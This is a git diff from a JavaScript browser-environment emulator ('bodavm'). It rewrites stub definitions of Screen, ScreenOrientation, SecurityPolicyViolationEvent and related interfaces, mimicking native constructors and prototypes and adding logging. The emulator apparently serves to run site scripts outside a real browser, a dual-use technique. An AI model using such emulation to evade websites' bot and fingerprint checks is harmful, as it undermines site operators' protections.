bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "pixelDepth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "availLeft", {configurable:true, enumerable:true, get:function availLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availLeft_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "availTop", {configurable:true, enumerable:true, get:function availTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availTop_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "orientation", {configurable:true, enumerable:true, get:function orientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "orientation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Screen', "isExtended", {configurable:true, enumerable:true, get:function isExtended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "isExtended_get", arguments)}, set:undefined},'prototype'); -// screen对象 -bodavm.memory.globalobj['screen'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['screen'].__proto__=bodavm.memory.globalobj['Screen'].prototype; +// Screen对象 + +bodavm.memory.globalobj['Screen'] = function Screen() { + console.log_copy('Screen 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Screen)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Screen'], "Screen"); +bodavm.memory.globalobj['Screen'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Screen'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Screen', "availWidth", { + configurable: true, + enumerable: true, + get: function availWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "availHeight", { + configurable: true, + enumerable: true, + get: function availHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "colorDepth", { + configurable: true, + enumerable: true, + get: function colorDepth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "colorDepth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "pixelDepth", { + configurable: true, + enumerable: true, + get: function pixelDepth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "pixelDepth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "availLeft", { + configurable: true, + enumerable: true, + get: function availLeft() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availLeft_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "availTop", { + configurable: true, + enumerable: true, + get: function availTop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "availTop_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "orientation", { + configurable: true, + enumerable: true, + get: function orientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "orientation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Screen', "isExtended", { + configurable: true, + enumerable: true, + get: function isExtended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Screen'].prototype, "Screen", "isExtended_get", arguments); + }, + set: undefined +}, 'prototype'); + +// screen对象 + +bodavm.memory.globalobj['screen'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['screen'].__proto__ = bodavm.memory.globalobj['Screen'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ScreenDetailed.js b/env_xbb_lastest_jsdom/env/ScreenDetailed.js index 170d0a55..c3993406 100644 --- a/env_xbb_lastest_jsdom/env/ScreenDetailed.js +++ b/env_xbb_lastest_jsdom/env/ScreenDetailed.js @@ -1,11 +1,67 @@ -// ScreenDetailed对象 -bodavm.memory.globalobj['ScreenDetailed'] = function ScreenDetailed(){if (!(this instanceof ScreenDetailed)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenDetailed'], "ScreenDetailed"); -bodavm.memory.globalobj['ScreenDetailed'].prototype.__proto__=bodavm.memory.globalobj['Screen'].prototype; -bodavm.memory.globalobj['ScreenDetailed'].__proto__=bodavm.memory.globalobj['Screen']; -bodavm.toolsFunc.defineProperty('ScreenDetailed', "left", {configurable:true, enumerable:true, get:function left (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "left_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetailed', "top", {configurable:true, enumerable:true, get:function top (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "top_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetailed', "isPrimary", {configurable:true, enumerable:true, get:function isPrimary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "isPrimary_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetailed', "isInternal", {configurable:true, enumerable:true, get:function isInternal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "isInternal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetailed', "devicePixelRatio", {configurable:true, enumerable:true, get:function devicePixelRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "devicePixelRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetailed', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "label_get", arguments)}, set:undefined},'prototype'); +// ScreenDetailed对象 + +bodavm.memory.globalobj['ScreenDetailed'] = function ScreenDetailed() { + console.log_copy('ScreenDetailed 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ScreenDetailed)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenDetailed'], "ScreenDetailed"); +bodavm.memory.globalobj['ScreenDetailed'].prototype.__proto__ = bodavm.memory.globalobj['Screen'].prototype; +bodavm.memory.globalobj['ScreenDetailed'].__proto__ = bodavm.memory.globalobj['Screen']; +bodavm.toolsFunc.defineProperty('ScreenDetailed', "left", { + configurable: true, + enumerable: true, + get: function left() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "left_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetailed', "top", { + configurable: true, + enumerable: true, + get: function top() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "top_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetailed', "isPrimary", { + configurable: true, + enumerable: true, + get: function isPrimary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "isPrimary_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetailed', "isInternal", { + configurable: true, + enumerable: true, + get: function isInternal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "isInternal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetailed', "devicePixelRatio", { + configurable: true, + enumerable: true, + get: function devicePixelRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "devicePixelRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetailed', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "label_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ScreenDetails.js b/env_xbb_lastest_jsdom/env/ScreenDetails.js index 2319bc1d..0d862c36 100644 --- a/env_xbb_lastest_jsdom/env/ScreenDetails.js +++ b/env_xbb_lastest_jsdom/env/ScreenDetails.js @@ -1,9 +1,55 @@ -// ScreenDetails对象 -bodavm.memory.globalobj['ScreenDetails'] = function ScreenDetails(){if (!(this instanceof ScreenDetails)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenDetails'], "ScreenDetails"); -bodavm.memory.globalobj['ScreenDetails'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['ScreenDetails'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('ScreenDetails', "screens", {configurable:true, enumerable:true, get:function screens (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "screens_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetails', "currentScreen", {configurable:true, enumerable:true, get:function currentScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "currentScreen_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetails', "onscreenschange", {configurable:true, enumerable:true, get:function onscreenschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "onscreenschange_get", arguments)}, set:function onscreenschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "onscreenschange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetails', "oncurrentscreenchange", {configurable:true, enumerable:true, get:function oncurrentscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "oncurrentscreenchange_get", arguments)}, set:function oncurrentscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "oncurrentscreenchange_set", arguments)}},'prototype'); +// ScreenDetails对象 + +bodavm.memory.globalobj['ScreenDetails'] = function ScreenDetails() { + console.log_copy('ScreenDetails 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ScreenDetails)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenDetails'], "ScreenDetails"); +bodavm.memory.globalobj['ScreenDetails'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['ScreenDetails'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('ScreenDetails', "screens", { + configurable: true, + enumerable: true, + get: function screens() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "screens_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetails', "currentScreen", { + configurable: true, + enumerable: true, + get: function currentScreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "currentScreen_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetails', "onscreenschange", { + configurable: true, + enumerable: true, + get: function onscreenschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "onscreenschange_get", arguments); + }, + set: function onscreenschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "onscreenschange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenDetails', "oncurrentscreenchange", { + configurable: true, + enumerable: true, + get: function oncurrentscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "oncurrentscreenchange_get", arguments); + }, + set: function oncurrentscreenchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "oncurrentscreenchange_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ScreenOrientation.js b/env_xbb_lastest_jsdom/env/ScreenOrientation.js index 05f0afa0..e22ae52f 100644 --- a/env_xbb_lastest_jsdom/env/ScreenOrientation.js +++ b/env_xbb_lastest_jsdom/env/ScreenOrientation.js @@ -1,10 +1,61 @@ -// ScreenOrientation对象 -bodavm.memory.globalobj['ScreenOrientation'] = function ScreenOrientation(){if (!(this instanceof ScreenOrientation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenOrientation'], "ScreenOrientation"); -bodavm.memory.globalobj['ScreenOrientation'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['ScreenOrientation'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('ScreenOrientation', "angle", {configurable:true, enumerable:true, get:function angle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "angle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenOrientation', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenOrientation', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenOrientation', "lock", {configurable:true, enumerable:true, writable:true, value:function lock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "lock", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenOrientation', "unlock", {configurable:true, enumerable:true, writable:true, value:function unlock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "unlock", arguments)}},'prototype'); +// ScreenOrientation对象 + +bodavm.memory.globalobj['ScreenOrientation'] = function ScreenOrientation() { + console.log_copy('ScreenOrientation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ScreenOrientation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenOrientation'], "ScreenOrientation"); +bodavm.memory.globalobj['ScreenOrientation'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['ScreenOrientation'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('ScreenOrientation', "angle", { + configurable: true, + enumerable: true, + get: function angle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "angle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenOrientation', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenOrientation', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenOrientation', "lock", { + configurable: true, + enumerable: true, + writable: true, + value: function lock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "lock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScreenOrientation', "unlock", { + configurable: true, + enumerable: true, + writable: true, + value: function unlock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenOrientation'].prototype, "ScreenOrientation", "unlock", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ScriptProcessorNode.js b/env_xbb_lastest_jsdom/env/ScriptProcessorNode.js index 7de8f1c9..868d49fd 100644 --- a/env_xbb_lastest_jsdom/env/ScriptProcessorNode.js +++ b/env_xbb_lastest_jsdom/env/ScriptProcessorNode.js @@ -1,7 +1,37 @@ -// ScriptProcessorNode对象 -bodavm.memory.globalobj['ScriptProcessorNode'] = function ScriptProcessorNode(){if (!(this instanceof ScriptProcessorNode)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScriptProcessorNode'], "ScriptProcessorNode"); -bodavm.memory.globalobj['ScriptProcessorNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['ScriptProcessorNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('ScriptProcessorNode', "onaudioprocess", {configurable:true, enumerable:true, get:function onaudioprocess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScriptProcessorNode'].prototype, "ScriptProcessorNode", "onaudioprocess_get", arguments)}, set:function onaudioprocess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScriptProcessorNode'].prototype, "ScriptProcessorNode", "onaudioprocess_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ScriptProcessorNode', "bufferSize", {configurable:true, enumerable:true, get:function bufferSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScriptProcessorNode'].prototype, "ScriptProcessorNode", "bufferSize_get", arguments)}, set:undefined},'prototype'); +// ScriptProcessorNode对象 + +bodavm.memory.globalobj['ScriptProcessorNode'] = function ScriptProcessorNode() { + console.log_copy('ScriptProcessorNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ScriptProcessorNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScriptProcessorNode'], "ScriptProcessorNode"); +bodavm.memory.globalobj['ScriptProcessorNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['ScriptProcessorNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('ScriptProcessorNode', "onaudioprocess", { + configurable: true, + enumerable: true, + get: function onaudioprocess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScriptProcessorNode'].prototype, "ScriptProcessorNode", "onaudioprocess_get", arguments); + }, + set: function onaudioprocess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScriptProcessorNode'].prototype, "ScriptProcessorNode", "onaudioprocess_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ScriptProcessorNode', "bufferSize", { + configurable: true, + enumerable: true, + get: function bufferSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScriptProcessorNode'].prototype, "ScriptProcessorNode", "bufferSize_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SecurityPolicyViolationEvent.js b/env_xbb_lastest_jsdom/env/SecurityPolicyViolationEvent.js index 556a7a87..2c3e3135 100644 --- a/env_xbb_lastest_jsdom/env/SecurityPolicyViolationEvent.js +++ b/env_xbb_lastest_jsdom/env/SecurityPolicyViolationEvent.js @@ -1,17 +1,115 @@ -// SecurityPolicyViolationEvent对象 -bodavm.memory.globalobj['SecurityPolicyViolationEvent'] = function SecurityPolicyViolationEvent(){if (!(this instanceof SecurityPolicyViolationEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SecurityPolicyViolationEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SecurityPolicyViolationEvent'], "SecurityPolicyViolationEvent"); -bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['SecurityPolicyViolationEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "documentURI", {configurable:true, enumerable:true, get:function documentURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "documentURI_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "referrer", {configurable:true, enumerable:true, get:function referrer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "referrer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "blockedURI", {configurable:true, enumerable:true, get:function blockedURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "blockedURI_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "violatedDirective", {configurable:true, enumerable:true, get:function violatedDirective (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "violatedDirective_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "effectiveDirective", {configurable:true, enumerable:true, get:function effectiveDirective (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "effectiveDirective_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "originalPolicy", {configurable:true, enumerable:true, get:function originalPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "originalPolicy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "disposition", {configurable:true, enumerable:true, get:function disposition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "disposition_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "sourceFile", {configurable:true, enumerable:true, get:function sourceFile (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "sourceFile_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "statusCode", {configurable:true, enumerable:true, get:function statusCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "statusCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "lineNumber", {configurable:true, enumerable:true, get:function lineNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "lineNumber_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "columnNumber", {configurable:true, enumerable:true, get:function columnNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "columnNumber_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "sample", {configurable:true, enumerable:true, get:function sample (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "sample_get", arguments)}, set:undefined},'prototype'); +// SecurityPolicyViolationEvent对象 + +bodavm.memory.globalobj['SecurityPolicyViolationEvent'] = function SecurityPolicyViolationEvent() { + console.log_copy('SecurityPolicyViolationEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SecurityPolicyViolationEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SecurityPolicyViolationEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SecurityPolicyViolationEvent'], "SecurityPolicyViolationEvent"); +bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['SecurityPolicyViolationEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "documentURI", { + configurable: true, + enumerable: true, + get: function documentURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "documentURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "referrer", { + configurable: true, + enumerable: true, + get: function referrer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "referrer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "blockedURI", { + configurable: true, + enumerable: true, + get: function blockedURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "blockedURI_get", arguments); + }, + set: undefined +}, 'prototype'); 